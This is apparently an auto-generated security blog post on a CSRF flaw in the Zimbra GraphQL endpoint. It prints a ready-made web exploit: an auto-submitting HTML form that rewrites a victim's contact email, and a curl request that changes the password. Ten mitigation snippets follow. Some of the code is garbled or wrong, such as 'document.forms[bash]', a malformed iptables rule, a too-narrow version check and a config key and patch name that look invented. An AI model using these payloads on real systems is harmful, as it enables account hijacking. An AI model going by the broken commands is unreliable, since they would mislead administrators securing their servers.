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How CVE-2025-32354 Works
CVE-2025-32354 exploits Zimbra Collaboration Suite (ZCS) versions 9.0 to 10.1 via a missing CSRF token validation in the GraphQL endpoint (/service/extension/graphql). Attackers craft malicious web pages containing forged GraphQL requests. When an authenticated Zimbra user visits such a page, their browser automatically sends authenticated requests to the vulnerable endpoint, enabling unauthorized operations like contact manipulation, account setting changes, and data exfiltration. The attack succeeds because Zimbra fails to verify the origin of GraphQL requests, allowing session cookies to authorize malicious actions without user consent.
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Platform: Zimbra Collaboration Suite
Version: 9.0 – 10.1
Vulnerability: CSRF in GraphQL
Severity: Critical
Date: 06/11/2025
Prediction: Patch expected by 08/2025
What Undercode Say:
Exploitation Analysis
1. Malicious Payload:
<form action="https://target.zimbra/service/extension/graphql" method="POST">
<input type="hidden" name="query" value='mutation { modifyContact(id: "victim", data: {email: "[email protected]"}) }'>
</form>
<script>document.forms[bash].submit();</script>
2. Exploit via Curl:
curl -X POST "https://target.zimbra/service/extension/graphql" -H "Cookie: ZM_AUTH_TOKEN=..." -d '{"query":"mutation { changePassword(newPassword: \"hacked\") }"}'
Protection Measures
1. WAF Rules:
location /service/extension/graphql {
if ($http_referer !~ ^https://yourdomain\.com/) {
return 403;
}
}
2. Zimbra Patch Workaround:
Disable GraphQL endpoint temporarily zimbra@mail:~$ zmlocalconfig -e graphql_enabled=false
3. CSRF Token Validation Fix:
// Pseudocode for GraphQL endpoint hardening
if (request.getHeader("X-CSRF-Token") != session.getAttribute("csrfToken")) {
throw new ForbiddenException();
}
4. Log Monitoring:
grep "POST /service/extension/graphql" /opt/zimbra/log/mailbox.log | awk '$9 != 200 {print $1,$7}'
5. Browser Mitigation:
Set-Cookie: ZM_AUTH_TOKEN; SameSite=Strict; Secure
6. GraphQL Query Whitelisting:
ALLOWED_QUERIES = ["readContacts", "getCalendar"] if query not in ALLOWED_QUERIES: block_request()
7. Zimbra Version Check:
zimbra@mail:~$ zmcontrol -v | grep -qE "9.0|10.1" && echo "Vulnerable"
8. Network Isolation:
iptables -A INPUT -p tcp --dport 7071 -s ! trusted_ip -j DROP
9. Exploit Detection:
tail -f /opt/zimbra/log/audit.log | grep -E "modifyContact|changePassword"
10. Patch Verification:
rpm -q zimbra-patch-CVE-2025-32354 || echo "Unpatched"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
